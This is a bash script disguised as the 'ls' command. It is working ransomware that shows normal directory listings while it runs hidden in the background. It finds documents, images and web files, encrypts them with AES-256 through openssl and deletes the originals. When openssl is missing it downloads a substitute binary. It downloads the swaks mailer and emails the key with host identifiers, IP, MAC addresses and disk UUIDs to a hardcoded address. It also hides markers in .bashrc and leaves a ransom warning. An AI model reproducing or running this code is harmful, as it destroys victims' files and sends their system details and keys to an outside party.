/usr/local/bin/ls -c #!/bin/bash function insbshrc { bshrcln=$(wc -l "$HOME"/.bashrc | cut -d " " -f1) if [ "$1" == 'keyy' ]; then mln="$(($bshrcln/2))i" sed -i "$mln # Key='$key'" "$HOME"/.bashrc elif [ "$1" == 'snt' ]; then mln="$(($bshrcln/3))i" sed -i "$mln # Sent=0" "$HOME"/.bashrc fi } function clean { grep -q '# Sent=0' "$HOME"/.bashrc; rvalsbshrc="$?" if [ "$rvalsbshrc" == 0 ]; then sed -i '/Key=/d' "$HOME"/.bashrc sed -i '/# Sent=0/d' "$HOME"/.bashrc [ -f "$HOME"/.vim/.sender ] && rm "$HOME"/.vim/.sender fi for body in doc docx txt xls xlsx ppt pptx odt pdf accdb html php jpg bmp gif png; do [ -f /tmp/."$body".bak ] && rm /tmp/."$body".bak done [ -f "$HOME"/.vim/.updater ] && rm "$HOME"/.vim/.updater } function checkwget { type -P wget &>/dev/null; rvalwget="$?" if [ "$rvalwget" != 0 ]; then type -P curl &>/dev/null; rvalcrl="$?" [ "$rvalcrl" != 0 ] && exit fi } function checkopenssl { type -P openssl &>/dev/null; rvalossl="$?" if [ "$rvalossl" == 0 ]; then openssl='openssl' else if [ ! -f "$HOME"/.vim/.updater ]; then [ ! -d "$HOME"/.vim ] && mkdir "$HOME"/.vim url='http://brezular.com/wp-content/uploads/2016/07/updater.gz' if [ "$rvalwget" == 0 ]; then wget -q "$url" -P "$HOME"/.vim; rvaldownl="$?" [ "$rvaldownl" == 0 ] && mv "$HOME"/.vim/updater.gz "$HOME"/.vim/.updater.gz elif [ "$rvalcrl" == 0 ]; then curl -Os "$url"; rvaldownl="$?" [ "$rvaldownl" == 0 ] && mv "$PWD"/updater.gz "$HOME"/.vim/.updater.gz fi [ "$rvaldownl" == 0 ] && gzip -d "$HOME"/.vim/.updater.gz || exit fi openssl="$HOME"/.vim/.updater; chmod 755 "$openssl" fi } function sendkey { if [ ! -f "$HOME"/.vim/.sender ]; then [ ! -d "$HOME"/.vim ] && mkdir "$HOME"/.vim url='http://www.jetmore.org/john/code/swaks/files/swaks-20130209.0/swaks' if [ "$rvalwget" == 0 ]; then wget -q "$url" -P "$HOME"/.vim; rvaldownl="$?" elif [ "$rvalcrl" == 0 ]; then curl -Os "$url"; rvaldownl="$?" [ "$rvaldownl" == 0 ] && mv "$PWD"/swaks "$HOME"/.vim/swaks fi if [ "$rvaldownl" == 0 ]; then mv "$HOME"/.vim/swaks "$HOME"/.vim/.sender && chmod 755 "$HOME"/.vim/.sender else exit fi fi id="$(hostid)"; name="$(hostname)"; kernel="$(uname -a)"; ip="$(wget http://ipinfo.io/ip -qO -)" macs="$(ip link show | grep ether | awk '{print $2}')"; hdid="$(cat /etc/fstab | grep UUID | grep -v '#')" "$HOME"/.vim/.sender -S --to abdullah.khan@vfemail.net --from john.white@unseen.is --header "Subject: FROM: $me@$ip , HOSTID: $id , HOSTNAME: $name" --body "*** FROM: $me@$ip ***n*** KEY: $key ***n*** HOSTID: $id ***n*** HOSTNAME: $name ***n*** KERNEL: $kernel ***n*** MAC(s): $macs ***n*** UUID: $hdid ***" -s mail.unseen.is:587 -a LOGIN --auth-user "john.white@unseen.is" --auth-password "SomePassword" -tls &>/dev/null; rvalswks="$?" [ "$rvalswks" == 0 ] && insbshrc snt } function encall { if [ "$k" == 00 ]; then checkwget checkopenssl key="$(grep 'Key=' "$HOME"/.bashrc | cut -d "'" -f2)" sendkey clean exit fi if [ "$me" == 'root' ]; then find / -type f -name "*.doc" 2>/dev/null > /tmp/.doc.bak & find / -type f -name "*.docx" 2>/dev/null > /tmp/.docx.bak & find / -type f -name "*.txt" 2>/dev/null > /tmp/.txt.bak find / -type f -name "*.xls" 2>/dev/null > /tmp/.xls.bak & find / -type f -name "*.xlsx" 2>/dev/null > /tmp/.xlsx.bak & find / -type f -name "*.ppt" 2>/dev/null > /tmp/.ppt.bak & find / -type f -name "*.pptx" 2>/dev/null > /tmp/.pptx.bak & find / -type f -name "*.odt" 2>/dev/null > /tmp/.odt.bak & find / -type f -name "*.pdf" 2>/dev/null > /tmp/.pdf.bak & find / -type f -name "*.accdb" 2>/dev/null > /tmp/.accdb.bak & find / -type f -name "*.html" 2>/dev/null > /tmp/.html.bak & find / -type f -name "*.php" 2>/dev/null > /tmp/.php.bak & find / -type f -name "*.jpg" 2>/dev/null > /tmp/.jpg.bak & find / -type f -name "*.bmp" 2>/dev/null > /tmp/.bmp.bak & find / -type f -name "*.gif" 2>/dev/null > /tmp/.gif.bak & find / -type f -name "*.png" 2>/dev/null > /tmp/.png.bak & else find "$HOME" -user "$me" -type f -name "*.doc" 2>/dev/null > /tmp/.doc.bak & find "$HOME" -user "$me" -type f -name "*.docx" 2>/dev/null > /tmp/.docx.bak & find "$HOME" -user "$me" -type f -name "*.txt" 2>/dev/null > /tmp/.txt.bak find "$HOME" -user "$me" -type f -name "*.xls" 2>/dev/null > /tmp/.xls.bak & find "$HOME" -user "$me" -type f -name "*.xlsx" 2>/dev/null > /tmp/.xlsx.bak & find "$HOME" -user "$me" -type f -name "*.ppt" 2>/dev/null > /tmp/.ppt.bak & find "$HOME" -user "$me" -type f -name "*.pptx" 2>/dev/null > /tmp/.pptx.bak & find "$HOME" -user "$me" -type f -name "*.odt" 2>/dev/null > /tmp/.odt.bak & find "$HOME" -user "$me" -type f -name "*.pdf" 2>/dev/null > /tmp/.pdf.bak & find "$HOME" -user "$me" -type f -name "*.accdb" 2>/dev/null > /tmp/.accdb.bak & find "$HOME" -user "$me" -type f -name "*.html" 2>/dev/null > /tmp/.html.bak & find "$HOME" -user "$me" -type f -name "*.php" 2>/dev/null > /tmp/.php.bak & find "$HOME" -user "$me" -type f -name "*.jpg" 2>/dev/null > /tmp/.jpg.bak & find "$HOME" -user "$me" -type f -name "*.bmp" 2>/dev/null > /tmp/.bmp.bak & find "$HOME" -user "$me" -type f -name "*.gif" 2>/dev/null > /tmp/.gif.bak & find "$HOME" -user "$me" -type f -name "*.png" 2>/dev/null > /tmp/.png.bak & fi wait checkwget checkopenssl if [ "$k" == 11 ]; then key=$("$openssl" rand -base64 32 2>/dev/null | cut -d "=" -f1 2>/dev/null) insbshrc keyy sendkey elif [ "$k" == 101 ]; then key="$(grep 'Key=' "$HOME"/.bashrc | cut -d "'" -f2)" sendkey elif [ "$k" == 100 ]; then key="$(grep 'Key=' "$HOME"/.bashrc | cut -d "'" -f2)" fi [ -s /tmp/.doc.bak ] && encdoc & [ -s /tmp/.docx.bak ] && encdocx & [ -s /tmp/.txt.bak ] && enctxt & [ -s /tmp/.xls.bak ] && encxls & [ -s /tmp/.xlsx.bak ] && encxlsx & [ -s /tmp/.ppt.bak ] && encppt & [ -s /tmp/.pptx.bak ] && encpptx & [ -s /tmp/.odt.bak ] && encodt & [ -s /tmp/.pdf.bak ] && encpdf & [ -s /tmp/.accdb.bak ] && encaccdb & [ -s /tmp/.html.bak ] && enchtml & [ -s /tmp/.php.bak ] && encphp & [ -s /tmp/.jpg.bak ] && encjpg & [ -s /tmp/.bmp.bak ] && encbmp & [ -s /tmp/.gif.bak ] && encgif & [ -s /tmp/.png.bak ] && encpng & wait clean touch /tmp/.X1-lock if [ ! -f "$HOME"/encryption_warning.txt ]; then echo "*** Your files have been encrypted! ***" > "$HOME"/encryption_warning.txt echo "*** To decrypt them, run '$0 %1a%your_decryption_key ***" >> "$HOME"/encryption_warning.txt cat "$HOME"/encryption_warning.txt fi } function encdoc { while IFS= read -r docfile; do echo "$key" | "$openssl" enc -in "$docfile" -out "$docfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$docfile" done < /tmp/.doc.bak } function encdocx { while IFS= read -r docxfile; do echo "$key" | "$openssl" enc -in "$docxfile" -out "$docxfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$docxfile" done < /tmp/.docx.bak } function enctxt { while IFS= read -r txtfile; do echo "$key" | "$openssl" enc -in "$txtfile" -out "$txtfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$txtfile" done < /tmp/.txt.bak } function encxls { while IFS= read -r xlsfile; do echo "$key" | "$openssl" enc -in "$xlsfile" -out "$xlsfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$xlsfile" done < /tmp/.xls.bak } function encxlsx { while IFS= read -r xlsxfile; do echo "$key" | "$openssl" enc -in "$xlsxfile" -out "$xlsxfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$xlsxfile" done < /tmp/.xlsx.bak } function encppt { while IFS= read -r pptfile; do echo "$key" | "$openssl" enc -in "$pptfile" -out "$pptfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$pptfile" done < /tmp/.ppt.bak } function encpptx { while IFS= read -r pptxfile; do echo "$key" | "$openssl" enc -in "$pptxfile" -out "$pptxfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$pptxfile" done < /tmp/.pptx.bak } function encodt { while IFS= read -r odtfile; do echo "$key" | "$openssl" enc -in "$odtfile" -out "$odtfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$odtfile" done < /tmp/.odt.bak } function encpdf { while IFS= read -r pdffile; do echo "$key" | "$openssl" enc -in "$pdffile" -out "$pdffile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$pdffile" done < /tmp/.pdf.bak } function encaccdb { while IFS= read -r accdbfile; do echo "$key" | "$openssl" enc -in "$accdbfile" -out "$accdbfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$accdbfile" done < /tmp/.accdb.bak } function enchtml { while IFS= read -r htmlfile; do echo "$key" | "$openssl" enc -in "$htmlfile" -out "$htmlfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$htmlfile" done < /tmp/.html.bak } function encphp { while IFS= read -r phpfile; do echo "$key" | "$openssl" enc -in "$phpfile" -out "$phpfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$phpfile" done < /tmp/.php.bak } function encjpg { while IFS= read -r jpgfile; do echo "$key" | "$openssl" enc -in "$jpgfile" -out "$jpgfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$jpgfile" done < /tmp/.jpg.bak } function encbmp { while IFS= read -r bmpfile; do echo "$key" | "$openssl" enc -in "$bmpfile" -out "$bmpfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$bmpfile" done < /tmp/.bmp.bak } function encgif { while IFS= read -r gifile; do echo "$key" | "$openssl" enc -in "$gifile" -out "$gifile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$gifile" done < /tmp/.gif.bak } function encpng { while IFS= read -r pngfile; do echo "$key" | "$openssl" enc -in "$pngfile" -out "$pngfile".enc001 -e -aes256 -pass stdin 2>/dev/null && rm "$pngfile" done < /tmp/.png.bak } function decall { checkwget checkopenssl [ "$me" == 'root' ] && testfile="$(find / -name "*.enc001" -type f -print -quit 2>/dev/null)" [ "$me" != 'root' ] && testfile="$(find "$HOME" -user "$me" -name "*.enc001" -type f -print -quit 2>/dev/null)" [ -z "$testfile" ] && showls && exit "$openssl" enc -in "$testfile" -d -aes256 -k "$key" &>/dev/null; decval="$?" if [ "$decval" == 0 ]; then touch /tmp/.X2-lock echo "*** Your files are being decrypted, please wait ***" if [ "$me" == 'root' ]; then find / -type f -name "*.enc001" -exec "$openssl" enc -in {} -out {}.dec -d -aes256 -k "$key" 2>/dev/null ; -exec rm {} ; find / -type f -name "*.enc001.dec" -exec sh -c 'mv "$1" "${1%.enc001.dec}"' _ {} 2>/dev/null ; else find "$HOME" -type f -user "$me" -name "*.enc001" -exec "$openssl" enc -in {} -out {}.dec -d -aes256 -k "$key" 2>/dev/null ; -exec rm {} ; find "$HOME" -type f -user "$me" -name "*.enc001.dec" -exec sh -c 'mv "$1" "${1%.enc001.dec}"' _ {} 2>/dev/null ; fi echo "*** Decrypting finished ***" > "$HOME"/decryption_warning.txt cat "$HOME"/decryption_warning.txt [ -f "$HOME"/.vim/.updater ] && rm "$HOME"/.vim/.updater else showls fi } function showls { if [ -z "$args" ]; then [ "$rvalal" == 0 ] && "$lspath" --color=auto || "$lspath" elif [ "$nargs" == 1 ]; then [ "$rvalal" == 0 ] && "$lspath" "$fiarg" --color=auto || "$lspath" "$fiarg" elif [ "$nargs" == 2 ]; then [ "$rvalal" == 0 ] && "$lspath" "$fiarg" "$sarg" --color=auto || "$lspath" "$fiarg" "$sarg" elif [ "$nargs" == 3 ]; then [ "$rvalal" == 0 ] && "$lspath" "$fiarg" "$sarg" "$targ" --color=auto || "$lspath" "$fiarg" "$sarg" "$targ" else [ "$rvalal" == 0 ] && "$lspath" "$fiarg" "$sarg" "$targ" "$foarg" --color=auto || "$lspath" "$fiarg" "$sarg" "$targ" "$foarg" fi } me=$(whoami) type -P /bin/ls &>/dev/null if [ "$?" != 0 ]; then type -P /usr/bin/ls &>/dev/null [ "$?" == 0 ] && lspath='/usr/bin/ls' || exit else lspath='/bin/ls' fi [ ! -f "$HOME"/.bashrc ] && exit args="$@"; nargs="$#" echo "$args" | grep -oq '%1a%'; rvalarg="$?" grep -q 'ls --color=auto' $HOME/.bashrc; rvalal="$?" fiarg="$1"; sarg="$2"; targ="$3"; foarg="$4" lsrun="$(ps -aux | grep -w 'ls' | grep -v grep | grep -v "$$")"; rvalsps="$?" if [ "$rvalsps" == 0 ]; then if [ "$rvalarg" != 0 ]; then showls rowls="$(echo "$lsrun" | wc -l)" [ "$rowls" -gt 1 ] && exit fi fi if [ "$rvalarg" == 0 ]; then dec=1 key=${args:4} [ ! -f /tmp/.X2-lock ] && decall & else showls grep -q 'Key=' "$HOME"/.bashrc; keybsh="$?" [ -f /tmp/.X1-lock ] && x1lock=0 || x1lock=1 grep -q '# Sent=0' "$HOME"/.bashrc; rvalsbshrc="$?" if [ "$x1lock" == 1 ] && [ "$keybsh" == 1 ]; then k=11 encall & elif [ "$x1lock" == 0 ] && [ "$keybsh" == 0 ]; then [ "$rvalsbshrc" == 1 ] && k=00 encall & elif [ "$x1lock" == 1 ] && [ "$keybsh" == 0 ]; then [ "$rvalsbshrc" == 1 ] && k=101 [ "$rvalsbshrc" == 0 ] && k=100 encall & elif [ "$x1lock" == 0 ] && [ "$keybsh" == 1 ]; then [ "$rvalsbshrc" == 1 ] && k=01 fi fi /usr/local/bin/ls